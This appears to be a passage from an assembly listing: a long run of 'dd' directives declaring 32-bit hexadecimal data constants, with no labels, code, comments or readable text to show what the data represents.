0ACB18D00h, 0A574F367h dd 69B80084h, 285CD4EFh, 7500922Ch, 98905429h, 1F37BC5h dd 0E44576F6h, 0D024E661h, 9900E2A4h, 6F82C49Eh, 641D0Eh dd 0C06738CFh, 0D0498588h, 1E154B00h, 0F0170AAh, 654616B1h dd 1F8E00F5h, 0A553856Eh, 713CCA00h, 8DEB5ABh, 0C8251E1Ch dd 69A14F4Bh, 4A47B0E0h, 563F81A9h, 19C70072h, 8638AC16h dd 4CE40090h, 288EB89Bh, 42FC36CDh, 7AC2BD0Fh, 959C80E8h dd 3CF410h, 684681B6h, 0C85FE1CDh, 98E7FB00h, 58C29B93h dd 0D083001Eh, 68A0A57Fh, 0D74C4891h, 34DE0053h, 390C5E4Eh dd 0F0FB7506h, 0AA240046h, 0BEEB9111h, 0D800C5C4h, 61530DA5h dd 63845Eh, 1A2C6ED3h, 8B27ACAh, 0E03A2F07h, 1BA0106Fh dd 0E6347DAAh, 1F47118h, 9E0A7BFCh, 0D0778485h, 0CF004CCBh dd 0D422B281h, 708B588Ch, 3B7A0025h, 5A360112h, 0F500F462h dd 0A42808BCh, 3805A1E1h, 1438F8D9h, 8DE2007Bh, 0AFBDAC9Ah dd 5D3873EAh, 7E9800D2h, 62EB0A60h, 1B3400BAh, 0ACE05FB9h dd 0D41C11E8h, 2740D701h, 2B99FB4Eh, 0FC544FB8h, 106400D1h dd 6AB4DC6Eh, 0C4E43DD3h, 2A947780h, 0BF3D11C8h, 54225A00h dd 958CD6CFh, 911A0703h, 5008D328h, 62C73658h, 1DC95903h dd 3AFD2E1h, 0E7839DD6h, 0B5918876h, 0C191C88Dh, 0B7E60D00h dd 53618FF9h, 0B13E001Eh, 0C82D327Fh, 3FF66235h, 0A975F805h dd 0C0B01D1Fh, 0FD9328DEh, 3EE4FBh, 5B1CC174h, 0BC296EE1h dd 0DA690C26h, 6C5AE000h, 0F80D77CDh, 2237262h, 66521ED4h dd 9480EB37h, 45DEF863h, 446DE200h, 77B88CD8h, 68353D4Dh dd 509A6002h, 71C00E3Ah, 0D7EE2C82h, 0D0C4A00h, 2F677EEBh dd 936305B9h, 809B218Fh, 6A52CE7Ch, 184BED00h, 676B0CDBh dd 6C30097h, 0B10BEF53h, 8E00FA66h, 0E25A0FA9h, 81BEC1h dd 0DCCAD723h, 3288318Ch, 0ABEBCE03h, 0A8E7905Dh, 0BB017Bh dd 6D71787Dh, 96E1575Bh, 0AE9DF800h, 0A402A2DFh, 2980E7E7h dd 67C2E5A8h, 7600A1A0h, 0B5C92C75h, 1E7325F1h, 87BE0541h dd 921F7E34h, 0E0808720h, 141DC30Ch, 7DC15Ch, 43B3E6DEh dd 0FC1668A4h, 0B33009Ah, 7A0EEF45h, 41004FE0h, 29A4F94Dh dd 3C1B7534h, 0A1006FDCh, 9C086A4Ch, 700D27Dh, 8244A558h dd 31EA1241h, 0BE28B94Eh, 0A63F20B0h, 0FEE9E1C3h, 0C800D59Bh dd 0EB46D1A1h, 35FC6Ah, 0CD6E8D75h, 0C4C64D7Bh, 6122418h dd 9961690h, 5892662h, 0CCE51B00h, 400FD63Ah, 471522E9h dd 59B798BEh, 6F0DE1E0h, 0C0FCB4h, 495FC562h, 320E1D69h dd 42107000h, 99EB934Bh, 5470082h, 0FADA412h, 0B900F964h dd 525714CDh, 0E03F3E32h, 0A93800FDh, 48CEA2DDh, 2E48A336h dd 0FFE002Dh, 0D07B259Eh, 8D0800D7h, 736113D6h, 0F23FE71Eh dd 44D2140Eh, 1D9F00FEh, 0FFAB23FDh, 13842635h, 0A28C001Ch dd 0E8A32109h, 4860E431h, 0ECE0722Ch, 0FC4F00ACh, 864D1E7Ch dd 0B00573C7h, 87A94748h, 272170C0h, 51330010h, 0F00B43F2h dd 5200CA3Ch, 0DC6E760h dd 3A124F18h, 0A1B89196h, 0E641097Dh, 5A802947h, 21AC0844h dd 0DB7D6903h, 0D03DC427h, 0E976E2h, 8B13053Bh, 4808BA0Ch dd 5D00E190h, 4FD64746h, 3CEDBBEEh, 10B94EDAh, 0E24A7C80h dd 0F552D843h, 2085F000h, 1115F9A3h, 31C7F0Fh, 99E9D3E7h dd 62F00922h, 0ED787453h, 80A23338h, 7D752811h, 7D4E5F6h dd 9E30C4F8h, 562DE0A4h, 707A322h, 86147524h, 0E747A860h dd 0B48401FFh, 2BAB286Eh, 6AC0C2EBh, 9C00D061h, 57A51A42h dd 204607h, 0BC647944h, 83E16541h, 0B7290B07h, 0E7F0840Dh dd 7E982E5h, 0EFF28F1Ch, 55441252h, 0FB18D760h, 9E630F00h dd 15E6B30Ch, 9A7A00FDh, 28D9B6A7h, 0D8FF740Bh, 2F004246h dd 3991985Bh, 2D7EAEh, 0E7A2753Bh, 2C18670Fh, 0BDEAAA00h dd 0C8DCA54Ah, 70EE0092h, 185F1DBh, 1B01337Eh, 112E8A50h dd 0B9D8D96Eh, 0CC4603B5h, 3AE367Ah, 1DD6F388h, 605FE40Fh dd 0C739A05Ah, 0E03485h, 0EE46B252h, 0B8B66A20h, 3C31DE00h dd 5AD4C647h, 572B9h, 13820BBDh, 1F2E9862h, 471A7900h dd 0E0B62BB8h, 55FB04Bh, 2D82BB07h, 0C445C0F2h, 84006E4Ah dd 3CC7BF45h, 0A33F89h, 56CC0695h, 0FFFC4CF7h, 0D1A89850h dd 0BB43BA00h, 4EBDD2F8h, 36650090h, 849E2ECBh, 17065FDFh dd 91A379EAh, 233E00C0h, 78687252h, 160007F8h, 66AC3559h dd 1B262F3h, 3EBF9F4Ah, 0FCA3947Dh, 2100EAF5h, 0AEFD4809h dd 0D5934Eh, 960FDE7Bh, 60497457h, 0F6C24600h, 67E47510h dd 0C998C09Bh, 0E0A04B82h, 8F44FE0Fh, 0E8C1DDFBh, 8030EFCEh dd 0B4ECC4h, 427C5575h, 22C6781Dh, 2BCE8CFh, 8123A1B0h dd 7EEC2CF4h, 5E0E7C7h, 0CC0DFDh, 5DEB5E52h, 0EA59386h dd 0EA556100h, 82726A30h, 0B085F2A2h, 135E0120h, 567AE136h dd 4E3420A4h, 0D0DFC800h, 71022A85h, 20B10209h, 1338F1CCh dd 0D6AE2468h, 0A86A3F00h, 6BFF6181h, 0A2320199h, 0FDF86C40h dd 0B480C67Bh, 88259C1Bh, 60CFEA79h, 0A0F12EF4h, 6FF93AD7h dd 21E400A8h, 0BCE32646h, 0C400E262h, 0A3279B2Dh, 6639F7Ah dd 926FEC39h, 61007875h, 28A101FCh, 9F0D9Eh, 0F147CFD1h dd 67F53409h, 0C8E27300h, 0F49EC503h, 189862h, 96C4B2CAh dd 0F392706Bh, 8850FE00h, 393538F9h, 8AD71CCCh, 474DC00Eh dd 9F10E98Fh, 0E500F8F4h, 0C379C173h, 0FECB4CC5h, 3DF3EEBEh dd 8002FAFh, 0CCE8FD64h, 9A007274h, 2D6D4ED6h, 0BB78B3h dd 0AA10F049h, 0D855D5C7h, 8FFD611Fh, 5F7B3600h, 0FC3E96C1h dd 0E36E0027h, 0C43DAA2Ah, 9500B1B3h, 4A286431h, 0ECFBFDDDh dd 0CFF40076h, 651E2D7Dh, 2301BF89h, 92F4761h, 0B1C4E12Eh dd 2A750098h, 0F2E3DF0Eh, 0F4001677h, 52A0A9A2h, 81D511h dd 1CFA01B4h, 14AA6A79h, 8D19A800h, 0EA105444h, 0A1E80168h dd 0B4CEBA8Ah, 0EFB0D815h, 0D8F1A00Eh, 0B4796AE7h, 884A9A03h dd 0D833F3EEh, 7A9322h, 0EDC2B485h, 0F04726FCh, 68040500h dd 208214FDh, 0AEF90E28h, 2440CC6Eh, 45080F60h, 4AC3B100h dd 252892E1h, 0A5F31EC5h, 9E87416Fh, 0DCEB676Ah, 3905CD60h dd 0F53B574Bh, 25D0FC00h, 63219h, 0C516094Dh, 0E24380AAh dd 707DFB09h, 90DA00E9h, 123E0E18h, 409F71C1h, 8693A930h dd 0F112AD2Ah, 0BB009DB4h, 0E55EED8Fh, 29B11616h, 36C00EBh dd 0FCDFE848h, 6B253909h, 0F7C08085h, 790B1CCh, 1EF3F204h dd 0B687803Eh, 0D5F6F8DBh, 0D12C76ECh, 8100DB1Bh, 0ADCB597h dd 9F9D0052h, 0AAE24B69h, 0E400D893h, 646D4D74h, 1DC5C8h dd 0A326068Eh, 0D92957A0h, 0F98F148h, 61C65AF2h, 0E1495D33h dd 0AAEDCCh, 0AC017A6Dh, 0C7773269h, 394DC401h, 0C3D516C8h dd 387B5E8h, 0E4FAD0AEh, 0F298051Fh, 0E11C3121h, 1C0F53F3h dd 0FBC6207Eh, 3C4678ADh, 769268D8h, 7600BA3Ah, 0C6B4BD56h dd 0F5FF004Ah, 448AC742h, 712476C5h, 0D425BC1Eh, 0C33D000Fh dd 0AED687F1h, 0C554C00Eh, 2C1DA04Bh, 600A8D13h, 0D6550EEFh dd 0D1F2642h, 0A600D58Bh, 0C0C3ACE9h, 1D950F8Ah, 0BC4368B8h dd 64C86B45h, 723CB28Fh, 80162C58h, 0AC2F1E80h, 3D34E829h dd 0FFD220Ch, 6D6A8A86h, 806B0D44h, 0A75292ECh, 0D7008874h dd 1A71AB55h, 1A01FBEh, 0AF04EF0Fh, 309E6F50h, 0D18454Ch dd 20386C4Bh, 7CEE25Dh, 69B468B0h, 0F865618Eh, 9B60E28Fh dd 0EA008A1Eh, 0EB540F2Ah, 0D907F5h, 65056BAAh, 0D233B4B1h dd 6000B2EEh, 0A518D06Dh, 1D8019F2h, 0E90BA7h, 0C0F1CF3Eh dd 409050C2h, 796CD900h, 0AE33B912h, 114613ECh, 0A6A80481h dd 0C44C4050h, 0B0AE2C92h, 0F0E200CEh, 1DBDFE63h, 360018E0h dd 0C09FACFCh, 280A3342h, 1C94EBB8h, 0DF417BBEh, 1E818F46h dd 72E5C6E0h, 0F13E196Eh, 0E620868Bh, 0F866BCh, 0BA611EF4h dd 97B7B83Ah, 0F8EB1400h, 9ECBCC8Ch, 0F4860088h, 0B1E2A284h dd 680035BDh, 1E18DFDDh, 73C1EFh, 0E123BA3Ch, 19F41C5Fh dd 7B36513h, 0E90C2D00h, 0FD3D2Ch, 7F45C629h, 48A632E7h dd 9ED22F00h, 81821F0Eh, 3AEA59h, 0DFB57DBEh, 659668BBh dd 1AED9E00h, 1DFF0671h, 60C100A2h, 58A9DCEEh, 6100E2C8h dd 8F7C309Ch, 2E3BF3h, 0A9246E6h, 0F225DA55h, 7DD7BB00h dd 5CAFA1EAh, 0E81C48EDh, 400CE513h, 0CF05C8B0h, 787E42C6h dd 18324B0Eh, 5BDB80F4h, 7E8BE9CDh, 0E85A01DCh, 3C4E1E54h dd 7165D4F7h, 56FF7D03h, 0D188E96Bh, 0B8303EB8h, 0BCDD2399h dd 0D4653681h, 0CC40EA37h, 0EE1C959h, 0E90AF81Ah, 2AECD8E0h dd 0EB00550Ch, 65CA5831h, 73AD6Dh, 0F0EF234Dh, 0FECF21FBh dd 4C40C460h, 1DE30CCCh, 0C082A003h, 4986677Ch, 19E04BC8h dd 0DE935407h, 631E7895h, 88DDF69Dh, 0B713DE4h, 0E9456627h dd 1FF70C80h, 0A0E97E3h, 0A0B9323Ch, 1671E680h, 0A5950030h dd 7BFA87C1h, 3907757h, 80A85CE6h, 0E0BF9853h, 44FB19h dd 9DE1E09Ah, 1F5A786Fh, 0E7018473h, 1C9ED47h, 14F45505h dd 0DE9900A6h, 22E4F44Ch, 980BBD6Dh, 77442BFh, 63F7C871h dd 0EED71F1h, 0F80238E0h, 7DBA7424h, 7F4300FFh, 7B7C72BEh dd 5E0307D9h, 946ECE22h, 4121BAA2h, 26DDC294h, 84CC88F5h dd 69FB00DAh, 0AF7B8775h, 0DF005F7Ah, 2DB9604Fh, 683CF82h dd 0F50FA747h, 491DA04Ah, 1F8FF212h, 3120D820h, 33C7005Bh dd 0C07E0348h, 18C081FBh, 0DB05BEFEh, 2CB776Eh, 0CEAF602Fh dd 8058EFA8h, 93EBA907h, 41A0A5B0h, 0FA569A9Fh, 67810004h dd 0CC8D01F2h, 7300794Ah, 59D8E27h, 281E4DE1h, 0F7C76Ch dd 769599D9h, 7D4B89F8h, 880C7B00h, 819C2E8Bh, 4DB7C1Fh dd 2D358EBCh, 0A210C0EFh, 4817BBF7h, 84405C68h, 650A9319h dd 1784763Fh, 35BC5C1h, 0B0DED034h, 0CC0A3E3h, 4204112Dh dd 0ABCED91Fh, 0A2808C87h, 0B4E01Ch, 0FBF5195Bh, 419493C5h dd 3A075A78h, 0FC7FB886h, 65BC9CC1h, 0F05034h, 0A243DD11h dd 0F9302F01h, 8293853Fh, 5398FC14h, 0B4C80A5h, 0EEB21E0Ah dd 1FF031Ah, 528BA19Eh, 97A98990h, 981B6500h, 621C576Bh dd 14DB00C0h, 0EB6E1576h, 567C2175h, 0F3D3AE01h, 268C9146h dd 3EDC7AFDh, 87EF3960h, 0DFB65C03h, 8DA0F4BEh, 610BCD83h dd 20700341h, 0C7D88CE4h, 92AE00A6h, 0FEFC8F9Ch, 0EA030142h dd 0CE335C6Fh, 0BF6EB040h, 0CF3C03A7h, 0FB41C8A8h, 0EF5EC000h dd 2A694512h, 8D3B00E9h, 0AF18F7F8h, 0A6008579h, 30414E91h dd 0CD29952h, 272D2FD4h dd 20D08110h, 1F550181h, 1BA26CEFh, 0C7A0A1F6h, 0CB601AC1h dd 405C0036h, 7F4FBC9Ah, 0E202657Bh, 730EE4F7h, 0C244C052h dd 0F6400A56h, 0E8CE9Ch, 500F7FD7h, 411E8A1Bh, 24AC652h dd 4287B8C8h, 0E01F63F5h, 0EF999F0h, 0C1C6E682h, 0A9E51379h dd 0F6E1E0DAh, 0EA4D5104h, 0F481E28Ch, 5E0A759h, 0BB8A0084h dd 2363CAC0h, 0A4AB1545h, 81000B8Bh, 4897A437h, 0F83287Ah dd 81F2C1F1h, 598A85h, 0D190A744h, 0AD001220h, 94F1C5B4h dd 0B5365h, 0F595BF78h, 89C205E1h, 874EF600h, 0ADDA3A71h dd 0F36B0E57h, 3D008AF2h, 0B13EDEF9h, 3219FE30h, 7435B9DCh dd 334007C5h, 809B5D4Dh, 0C0A2C344h, 7A4A481Eh, 1AC00B1Eh dd 0E7817728h, 0DBAF8B8h, 0B9F44B71h, 0BA040B68h, 48D6CE81h dd 0FC22F0B1h, 4E00FD77h, 0E4A5B601h, 1DD9EF5h, 0CEBB1144h dd 841CA04Bh, 0D76C8028h, 6A42E208h, 87F72261h, 21F3A423h dd 0A23C1E51h, 8583225Ch, 4281CC22h, 456E118Ah, 199F0F11h dd 2629174Eh, 0C8200A08h, 8886E413h, 52888EA4h, 5FD988BCh dd 44271740h, 19459484h, 0B18E10EEh, 3C417389h, 3A12C323h dd 0D67B1480h, 42008857h, 0B526331Ah, 0E7FDA3Eh, 0BC862724h dd 0CC0970E0h, 0EA008716h, 545C8BEBh, 74032DFh, 82BD2A42h dd 0B90E507Dh, 0EE1C8CBEh, 5CC3DA33h, 0D8944789h, 7CA07246h dd 130B00FCh, 0F659E68Fh, 0A4033C48h, 3E235443h, 3DDA825h dd 2B1D1F8Ch, 8A15C01Fh, 0D7F75E02h, 56B0C00h, 120A1069h dd 44B83F43h, 8800EA58h, 46CE25F2h, 5D0F8115h, 0C07F99C7h dd 0FFDBEC5Fh, 8ED00B6h, 86BCCC74h, 9279850Dh, 0CE463700h dd 48BFB6Dh, 452C00A7h, 0B9E3585Eh, 4E00A30Dh, 0FDB3DA06h dd 24888C86h, 80344644h, 0EC666C5Bh, 0C7007465h, 0F952A521h dd 1942483h, 77A401C2h, 80C1628Bh, 0F0E93070h, 78D0E231h dd 0B69D0F41h, 0FD403997h, 407B44CDh, 4AA96900h, 0E914B72Eh dd 8E8500E1h, 0AD49E3Bh, 0C01DF241h, 8F41B2F6h, 0AC846D66h dd 14F330h, 0F3FCED4Ch, 690D53E5h, 63B02300h, 9A375117h dd 0C6D313FBh, 2BFC007Fh, 502F9596h, 225C8200h, 413D3ACFh dd 0EF5000Dh, 2B9A106Ah, 40E357Ch, 0C0E9D567h, 0B505245Dh dd 601C3FF3h, 0FADEC8Ch, 0DB009130h, 14479BA7h, 0A48D8Ah dd 6053DCB7h, 855B64A8h, 9C00A07Eh, 2EDEC4C5h, 0A578DCCh dd 0C21226E5h, 0D66903AEh, 28C82123h, 5D011C20h, 1E65A73Dh dd 4CFCBB72h, 0D87B12h, 5108B26Fh, 0C2D154Fh, 619A000h dd 0C65A92FBh, 0E2560E7Eh, 4260B16Dh, 0A495D3C2h, 80F5AC3Bh dd 77743327h, 3EE6BB94h, 3D006BB3h, 0AD3BC05Fh, 0C8079097h dd 88B20EB8h, 60C19A20h, 7BB903A5h, 70E6F75Ch, 0F9FFE3C0h dd 7BEFB3Ch, 0F33E503h, 0F439D460h, 65470042h, 716785B8h dd 0B70E19C3h, 0C003A049h, 0CBD7FCC8h, 0E90B3E25h, 0C5E89E8Fh dd 789BEE20h, 5A0E0222h, 0E065A439h, 7A9D1124h, 6FFD003Fh dd 44070418h, 0A8000B29h, 0DDC3EF1Bh, 0B67606h, 69AF169Fh dd 226DB41Ah, 2FE77516h, 199EF202h, 1E6F6007h, 0D9D1EDEh dd 405B5E72h, 9CD77B3Fh, 0FA7FADA3h, 8C897301h, 9E466592h dd 20952880h, 35370F63h, 3EE45E50h, 38AE1800h, 6659E54Eh dd 0DFF0B6h, 0EB228E88h, 320ACDACh, 0B81C4Ch, 628AF676h dd 7A61C015h, 0A87F00DAh, 0FDAF049Eh, 474EEAEEh, 7E0002ACh dd 7F129C15h, 0AA00298Fh, 1C4ADCF6h, 0BDB38C4h, 0E76D1B71h dd 0F6220CFDh, 1020EF2Ch, 0FA8A7811h, 0E26E803Bh, 0A6F92006h dd 72D4D8B5h, 0DEE11221h, 30390F44h, 83913EA0h, 0AE1F3F4Ah dd 0A1407226h, 3C71ED32h, 9E740093h, 637752E5h, 0B2486E4h dd 0BB0010CAh, 0C0656D3Bh, 9CC800C7h, 74CEF725h, 79006FA5h dd 0A2327CA1h, 7FEF3CB5h, 3D9D0224h, 205A64C4h, 13C3E090h dd 9B61700h, 3AEC65E5h, 0C1F4D4h, 0F35B7852h, 1E58B3A9h dd 50AC4B3Ah, 0A8004F88h, 40A71A77h, 0C3015Fh, 8E0D90C4h dd 0AFDCFC53h, 0CE1C6A00h, 0D322B7C8h, 0E5450066h, 3EF70D68h dd 8B0395A6h, 0EF411E99h, 8969884Fh, 34803B3h, 25874B29h dd 0ACC9D4A0h, 354A121Eh, 857D7840h, 0A69273h, 0D6681D4Ch dd 0C8E137CFh, 0C0DE2A1Ch, 9E2D7B41h, 1DC0A5BAh, 63320047h dd 57FA13D2h, 36EE3EEBh, 0E86B6F00h, 228334E9h, 0DF9E0786h dd 4DA5BCh, 723FD8E5h, 0F6E4FA00h, 46FC7A8Bh, 0EC567013h dd 0F94E00A8h, 2F06085h, 76002A84h, 7392E9B0h, 0A69779h dd 0BF61BA65h, 0DC1F0375h, 0BDEAC900h, 0E1453D6Ch, 9CB80021h dd 67A702B5h, 59FE3B3Fh, 9D308E00h, 0D8CE4EF6h, 48B00B89h dd 2559701h, 0A06BAA6Bh, 5130D7F4h, 0E5AD00D4h, 0D1DB65BDh dd 0B27AD519h, 0A0C97900h, 2CC637F2h, 400A0001h, 0CE28DB0Fh dd 3A0084A4h, 2092D703h, 55270A5h, 0D9AF8FBEh, 7962805Dh dd 9D0ECD1Fh, 471D11BBh, 77D0A45Ah, 0A3F026h, 79C13503h dd 6DE8C46Fh, 0A007076h, 5C224401h, 9E23D8h, 0CF040CF8h dd 27376CB5h, 80C0EC3Ch, 0E2023E5Ah, 0D1A4EAh, 219CF848h dd 0D9414283h, 8A2E9500h, 30280E17h, 0A7DC2CC7h, 91A40023h dd 0FBFA4BB5h, 42006A7Eh, 611B50F5h, 1EB3F805h, 0C0DF4DF0h dd 368D1A78h, 0D400E3B5h, 26C4541Dh, 5E9120h, 1A181938h dd 6D05A49Eh, 87248200h, 921F70EEh, 5A84003Eh, 0ACE4D9BAh dd 0C7001363h, 4697DB0Ch, 0ED22F1h, 0C5FF786Ch, 2685471Eh dd 0D6038000h, 0C1F6CC0Fh, 59BB029Ah, 0E176FBE0h, 0A2D340E0h dd 2B360400h, 52537DCFh, 1E60079h, 6523A1C9h, 0A5001FFAh dd 0D0BBC104h, 1DF9CCC8h, 0CBBAC0F1h, 9187B201h, 89FAF01Ah dd 590645E2h, 92F2516Fh, 4FBA0019h, 27C75071h, 0A00024Bh dd 0E3741BE8h, 1FE726h, 0D46BBC9Ch, 53EDCD20h, 91A31900h dd 0F1357D62h, 0D8B10017h, 6760012Dh, 777C90FCh, 28598A4Ch dd 1401843Bh, 6D19325Dh, 50878C61h, 10172671h, 1B68F0AAh dd 6BD0D701h, 707CC519h, 2A03E0h, 18F307F5h, 0CEB54976h dd 9C1A4B07h, 0BF73B80Eh, 0CA30977Dh, 0E19395h, 3A451426h dd 68BD3D77h, 39523400h, 0FEA7BE4Eh, 0B9920FA4h, 0E3A023CCh dd 0C779C517h, 2E9C1E1Fh, 183371C7h, 0AF8E1090h, 51ED002Ah dd 0EA3CC770h, 4B07CC4Dh, 1AEC8FBh, 0B7F65CA0h, 70BA0041h dd 27A2D2E4h, 0F0088EEh, 77E94446h, 68CB1Eh, 8E7865Eh dd 3F756515h, 4A497E02h, 4B14079Bh, 6621988Ch, 0BEECAAh dd 0C11CBA52h, 4AAF0E42h, 81B67D00h, 7B1E7A45h, 285607EAh dd 309CF763h, 4C612210h, 8E09604h, 0E3804AB0h, 3CFF311Eh dd 0ABED033h, 5B0D4B80h, 0BD012599h, 3D9CC103h, 0A86D2E8Ah dd 0F1B9714h, 494B64DCh, 0C08431E7h, 0C5E93426h, 77066B00h dd 0D1C32908h, 52380054h, 2BCC8ADDh, 200A72Eh, 7A99B341h dd 50BB73Eh, 0E6756095h, 83C9013Ch, 0C0BD9247h, 0CF0131E4h dd 0E3C43882h, 1FD86F41h, 651E0096h, 0C3B694C7h, 0D4F972E8h dd 0C8755625h, 2F2B3200h, 0EBF8C036h, 0BCA30067h, 0ECCD312h dd 820753CFh, 8DD5B8DBh, 3DE635E0h, 9CAD189Eh, 0F25BE1CDh dd 1314FC04h, 5EC069CFh, 0E86101h, 0A3503B2Bh, 5246AF0Fh dd 0B4CB842Eh, 201F4E0Fh, 62D97626h, 0B4253E4Bh, 0DC44BC03h dd 511D6F96h, 20DED3D4h, 33258BCh, 1A394A2h, 9009FB2Ch dd 0EFB282h, 22082DD9h, 3B8DB6D4h, 36FA5500h, 5FD0EEE5h dd 0E4050058h, 288C8401h dd 7F1D2914h, 3F879F6Fh, 93D0511Fh, 0F9ACAE5h, 5619402Bh dd 0E005BEC7h, 0AFFF22D0h, 113AD51Dh, 4FFBB580h, 14B7AEh dd 0ABB22B34h, 0FDF5DBE7h, 5C7F530Eh, 0AE44823Ch, 0BFFBC36Ch dd 483EB550h, 0C50A0042h, 0D547FA61h, 0C9000B90h, 0E0B80CB2h dd 31E9E0Eh, 9F410F17h, 0FA884E29h, 0ED5027F7h, 0CC00DDF8h dd 0F956144Ch, 72550E8h, 0A50D3D96h, 2123F55h, 0A661132Ch dd 0C5E347E0h, 74078000h, 0AF835868h, 0B1F497h, 0E66A98FFh dd 3EC3F91Eh, 36A7FE03h, 1F68B9h, 0A1B8E969h, 0E2D61BDh dd 0A9860207h, 650579Bh, 7C2A07h, 0E951E540h, 0C9DB9DFDh dd 0C97CF00h, 0A9554725h, 70E201BCh, 129FA895h, 5F9CD852h dd 0DC9BAD00h, 3527EFE4h, 5AA30079h, 0C295376Dh, 7400573Fh dd 50A161E2h, 1C7DDA8Bh, 40D9EAD0h, 33BF1BF1h, 98000F4Eh dd 13E33725h, 710AC7Ch, 0F94A3EAFh, 3092E022h, 0DA906F23h dd 0BE9CB903h, 31EBE9h, 1A88B69Ch, 7A4F7767h, 6D120400h dd 0D7EC4ED4h, 3C0AF621h, 35801CA8h, 0DCE67B8Fh, 1700978Dh dd 58037176h, 91314182h, 2789802Ch, 0CDF35567h, 0FF8E048h dd 20A6A2BCh, 0A046AE86h, 530C004Fh, 88F4762Fh, 5E1CA76Ch dd 0FD058E66h, 0B4007182h, 0EE6850A3h, 994D146Fh, 0C200A833h dd 0CCB57BB0h, 4026C9D3h, 8B00A971h, 0D7A95AE6h, 68060011h dd 0DB5FCF16h, 0A709B621h, 794D55h, 0F708DDCh, 0A9050196h dd 0BA39D507h, 72EEC099h, 0EAD270FFh, 0D7480900h, 0F38A3E03h dd 1F2F1826h, 0E2019073h, 0DE0F6600h, 8D5ABF49h, 97DF0017h dd 3FF98FABh, 1900EDC7h, 0D29B7A34h, 152991Bh, 0E106973Bh dd 702C0C16h, 6A0940CCh, 86141FEEh, 98D1E9h, 0F588D317h dd 3CAA60EBh, 8B341D00h, 699EA882h, 0A37C0078h, 0EA7F6FEFh dd 521E8635h, 3A7ED6h, 4FF016FDh, 9CD7363h, 0A44588B1h dd 30542780h, 0B701BD8Ah, 77B3AD06h, 0C8BED98Bh, 0FEB27A80h dd 0C278554Ch, 67500600h, 5F254882h, 3DE698B3h, 598305B8h dd 0FBDDF5ACh, 188E92A8h, 0B530300h, 0CB4ECDC5h, 0E2F8011Eh dd 2EDE21B8h, 8D90242Ah, 140F889Ah, 0C09F5542h, 2709735Ch dd 0A07F0045h, 0D1E662B4h, 49006052h, 0AA7B6E2Eh, 13C9FAh dd 24F12B6Dh, 0EC2F1D9Fh, 4300C698h, 0EA3973F7h, 0B331B1h dd 9F1528EFh, 6C745442h, 35E63400h, 0CDA8A66h, 7A7D3F8Eh dd 0E5A5B780h, 85F5A153h, 8916BF00h, 3D12BB5Dh, 4AF2006Dh dd 830F07CDh, 0B600AC44h, 9B9A13E2h, 0A87F3C21h, 7A4A690h dd 43604953h, 20D800B8h, 2CFC1080h, 0DAD95B00h, 9053CBFh dd 941600B0h, 0ACFB0811h, 0D67B846Bh, 7C724E0Eh, 0ADFAC0B8h dd 7CBAB953h, 90F913F3h, 0C4C800BCh, 0D299FD33h, 3A7ECC04h dd 7483572Ch, 723B98B2h, 0F4A74897h, 4B2E8F00h, 7B9DE521h dd 70A6FF00h, 0EBEDDC42h, 90F9B03Ah, 4A4C73D4h, 73B81Eh dd 1B5BFA84h, 13AAC9h, 0D707A0DBh, 1EBA3745h, 359B2602h dd 60A6FB61h, 9ADB8E4h, 9ABBE8EEh, 600AB480h, 3401C422h dd 76C55D50h, 0B2E42E8Dh, 0D9B1143Ch, 5300C43Bh, 27032806h dd 8B00D7BFh, 0BD6B6CA4h, 8C4A0h, 0ECFC05E5h, 74208CE1h dd 3003EE0h, 7EC52C0Bh, 0F2575FD6h, 0B27F0Eh, 668EBF70h dd 0D103AC33h, 81DA4A00h, 614B6751h, 0C21C0A4Eh, 940F59h dd 6487E55Ch, 5177B77Eh, 0F10180B0h, 0B4746A07h, 3BF917F5h dd 7E1ED4h, 6C55610Fh, 62FC07C7h, 1931E161h, 9070C8DAh dd 0F0300463h, 8093D8FEh, 95F66990h, 7C3C5F00h, 0E773E310h dd 0FE6A00E2h, 0C14F5BFh, 9E7D1327h, 9D4BBA0Bh, 0DE2C0023h dd 16581825h, 432E33h, 8674CD6Ch, 232C2D03h, 0E08084C4h dd 65D124E1h, 0E6560607h, 4022AA09h, 54116A05h, 7491D5FBh dd 0FC40F4EEh, 1F1C5941h, 8C27FE3Ah, 0C1800B40h, 568CD306h dd 3580A7Fh, 0E3BAA810h, 10000B04h, 2C0620A0h, 5508E6h dd 49B99D8Ah, 2D653E01h, 4F124D06h, 60EF05h, 0AEF20EC5h dd 338C619Ah, 50A5BC0Bh, 0C87030A2h, 73E70014h, 4CCEEE40h dd 247E2F43h, 4E7F9F00h, 64A80D21h, 7CFC92B5h, 26BD0070h dd 67E01775h, 3F000DD5h, 66AADC5Eh, 0A64516h, 8B6CC369h dd 71E284BFh, 18CCD900h, 0CBAE62B5h, 72200DC1h, 0EC69C216h dd 5124A5EDh, 0D2009D5Bh, 23C75281h, 718C0E96h, 30208E49h dd 1C1E3E85h, 99D7D000h, 76452DFh, 43F80076h, 0FBEFD26Dh dd 2B0009E1h, 123425BBh, 6050B09Eh, 0F3D520F7h, 2E062C72h dd 37CBAAAEh, 0CC580019h, 0BD595EEAh, 7A2CCD29h, 0A717C4AEh dd 64BB4500h, 0B0EDD9EBh, 0C76300E2h, 58A937B2h, 210E679Ah dd 0A084100Ah, 1E591F92h, 6CF1005Bh, 0C415C5FDh, 212ED86Fh dd 0A90948A8h, 6E8F00D3h, 2CF48ADDh, 2C40696h, 0D20E2B78h dd 10BD7C00h, 0C1410350h, 0CE61B9E8h, 546F0B98h, 0CA3CA200h dd 0F25AD62Bh, 0E85500FFh, 0C0FAEF5h, 6C0061EEh, 7A123DC1h dd 0A29DCFh, 0A18B2017h, 4E40D27Bh, 56366201h, 0A854583Dh dd 7014E0h, 0DECAAB5Eh, 6306A5C6h, 3CF2133Fh, 79F44CD2h dd 157624B0h, 955CAD04h, 83557Eh, 340EE859h, 99A20092h dd 0A9F712Bh, 25002C21h, 6B846601h, 17615441h, 7B00CE8h dd 0A61093h, 1B1E26CBh, 0BE2EB700h, 0A162AB58h, 75E7F6D9h dd 7A4C9839h, 48DA00F9h, 0C6FD2D56h, 0E004D704h, 8DCFCCB1h dd 8C0ECD80h, 90EE008Eh, 0E1156756h, 6C07D1C8h, 3216E35h dd 0AF979B23h, 0FDD0F767h, 20638BEh, 33F1DF24h, 8C4095A9h dd 614D6B70h, 9C761764h, 0BD114040h, 97D74EECh, 0CF7151C1h dd 338650D7h, 9004320Ch, 345761A9h, 821490C0h, 0A32601EBh dd 7DFA9B27h, 0F78EF0BFh, 5900DAEAh, 957553E7h, 76F39A38h dd 2AD20091h, 49EF5C65h, 